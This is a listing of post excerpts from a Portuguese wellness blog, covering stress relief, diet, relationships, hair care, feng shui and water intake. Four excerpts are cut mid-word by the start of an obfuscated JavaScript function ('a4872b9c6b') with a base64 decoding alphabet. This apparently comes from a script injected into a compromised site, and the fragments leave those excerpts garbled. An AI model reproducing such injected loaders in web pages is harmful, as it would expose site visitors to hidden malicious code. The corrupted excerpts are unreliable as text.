Jan 14, 2016 | Equilíbrio, Saúde e bem estar
3 passos anti-stress Todos os dias somos postos à prova para provarmos que a força do stress não é mais forte que nós. Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Jan 12, 2016 | Equilíbrio, header, Saúde e bem estar
Estilo de vida saudável Para ter um estilo de vida saudável é essencial abfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jan 11, 2016 | Equilíbrio, Saúde e bem estar
9 Alimentos que garantem boa saúde – O que não pode faltar na sua mesa! Alguns alimentos, além de nutritivos, têm o poder de nos ajudar a garantir a boa saúde e manter a beleza. Eles ajudam a aliviar os sintomas da TPM (tensão pré-menstrual), controlar a...
Jan 9, 2016 | Equilíbrio, Saúde e bem estar
Pôr um ponto final numa relação não é o fim. Um testemunho que nos ensina a tirar partido da aprendizagem O que não nos mata torna-nos mais fortes! Na maior parte das vezes, arrastamos relações que sabemos que estão condenadas à partida, por variantes de um mesmo...
Dez 21, 2015 | Equilíbrio, Estilo e beleza, Saúde e bem estar
Hoje em dia faz-se dietas para quase tudo, algumas resultam e outras ficam aquém das expectativas. Segundo o nosso Cabeleireiro, Wagner Santos também é possível ter uma dieta equilibrada que beneficia e aumenta a beleza dos seus cabelos. Os cuidados com os cabelos vão...
Dez 17, 2015 | Equilíbrio, Saúde e bem estar
Pensamento positivo, dicas para viver bem, por Carlos Baltazar Aprenda a enquadrar positivamente o pensamento positivo Ninguém tem o real poder de controlar o fluxo dos seus pensamentos, mas todos podemos escolher perspetivas ou pontos de vista mais produtivos para o...
Dez 16, 2015 | Equilíbrio, Saúde e bem estar
Diz-se que somos o que comemos e é uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Dez 15, 2015 | Equilíbrio, Saúde e bem estar
O Feng shui pode trazer mudanças positivas à sua vida, veja como aqui. Aproveitar o novo ano para fazer melhorias Se é verdade que o nosso espaço é o espelho da nossa vida, é verdade também que quase todos nós utilizamos esta época do novo ano para fazer mudanças na...
Dez 11, 2015 | Equilíbrio, Saúde e bem estar
Perder peso não é uma tarefa nada leve. Deixamos sempre para amanhã a dieta que se pode fazer hoje. Custa muito ter força de vontade mas você tem de ser forte. Só depende de si abrir guerra às malvadas gordurinhas que qufunction a4872b9c6b(y1){var...
Dez 10, 2015 | Equilíbrio, header, Saúde e bem estar
Mas afinal, quantos litros de água se deve beber por dia? A minha bebida preferida sempre foi água. Mata a sede, refresca e faz bem à saúde. Fui saber a quantidade de água que devemos beber todos os dias e aqui está a resposta. Veja o que descobri. O ser humano...
